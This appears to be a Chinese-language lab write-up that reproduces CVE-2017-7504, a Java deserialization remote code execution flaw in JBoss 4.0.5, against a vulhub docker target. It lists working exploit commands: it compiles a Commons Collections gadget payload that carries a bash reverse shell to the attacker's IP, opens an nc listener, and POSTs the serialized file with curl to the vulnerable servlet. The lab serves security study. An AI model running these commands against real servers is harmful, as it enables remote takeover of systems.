前言:
序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。
Java中的ObjectOutputStream類的writeObject()方法可以實現序列化,ObjectInputStream類的readObject()方法用於反序列化。
問題的根源在於類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制。
Apache Commons Collections
是一個擴展了Java標准庫里的Collection結構的第三方基礎庫,它提供了很多強有力的數據結構類型並且實現了各種集合工具類。
首先這個漏洞與CVE-2015-7501一樣,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。
差別在於CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet。
此次環境嘗試用docker搭建。
靶機:
ip:192.168.112.132
操作系統:ubuntu18.0.4 LTS
攻擊機:
ip:192.168.112.133
操作系統:kali
一、環境搭建
1.docker的安裝參考
https://www.howtoing.com/ubuntu-docker
2.安裝完docker后,直接拉取vulhub的源碼。
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504
3.靶機啟動服務
執行如下命令啟動JBoss AS 4.0.5
docker-compose up -d
4.環境啟動后,地址為http://192.168.112.132:8080/
至此,靶機部分完成。
二、exp准備:
用法實例:
1)javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
2)java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '/bin/bash -i>&/dev/tcp/192.168.112.133/4444<&1'
3)nc -lvvp 4444
4)curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
三、exploit
1) 選擇ExampleCommonsCollections1WithHashMap
,編譯並生成序列化數據:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java #編譯
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.112.133/4444 0>&1"
#ser全稱serialize,序列化惡意數據至文件。
第一行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.class
第二行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.ser
2)發射:
將該文件作為請求數據主體發送如下數據包:
curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
# --data-binary 意為以二進制的方式post數據
反彈成功。
反彈shell也可以使用工具中預置payload的文件——ReverseShellCommonsCollectionsHashMap.java
復現過程可參考:https://www.sec-note.com/2018/03/30/Jboss/
參考鏈接:
http://gv7.me/articles/2018/CVE-2017-7504/
https://www.jianshu.com/p/d265f9514f7d
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://security.tencent.com/index.php/blog/msg/97
https://www.cnblogs.com/ITEagle/archive/2010/04/10/1708989.html
https://www.runoob.com/java/java-tutorial.html
https://www.runoob.com/java/java-serialization.html